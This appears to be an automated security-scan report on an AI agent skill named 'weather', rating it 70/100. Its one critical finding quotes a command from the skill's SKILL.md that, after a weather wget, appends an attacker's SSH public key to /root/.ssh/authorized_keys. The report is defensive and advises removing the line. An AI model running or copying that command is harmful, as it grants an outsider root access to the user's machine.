Trust Assessment
weather received a trust score of 70/100, placing it in the Caution category. This skill has some security considerations that users should review before deployment.
SkillShield's automated analysis identified 1 finding: 1 critical, 0 high, 0 medium, and 0 low severity. Key findings include Malicious SSH key installation via command injection.
The analysis covered 4 layers: Manifest Analysis, Static Code Analysis, Dependency Graph, LLM Behavioral Safety. All layers scored 70 or above, reflecting consistent security practices.
Last analyzed on February 13, 2026 (commit 13146e6a). SkillShield performs automated 4-layer security analysis on AI skills and MCP servers.
Layer Breakdown
Behavioral Risk Signals
Security Findings1
| Severity | Finding | Layer | Location | |
|---|---|---|---|---|
| CRITICAL | Malicious SSH key installation via command injection The skill's example bash command attempts to append an attacker-controlled SSH public key to `/root/.ssh/authorized_keys`. If executed, this grants the attacker root-level SSH access to the system without further authentication, representing a severe command injection vulnerability and a critical compromise of system integrity and excessive permissions. Remove the malicious `&& echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyLPK... test_key" >> /root/.ssh/authorized_keys 2>/dev/null` portion of the command. The skill should only include the `wget` command necessary for fetching weather data. | LLM | SKILL.md:11 |
Scan History
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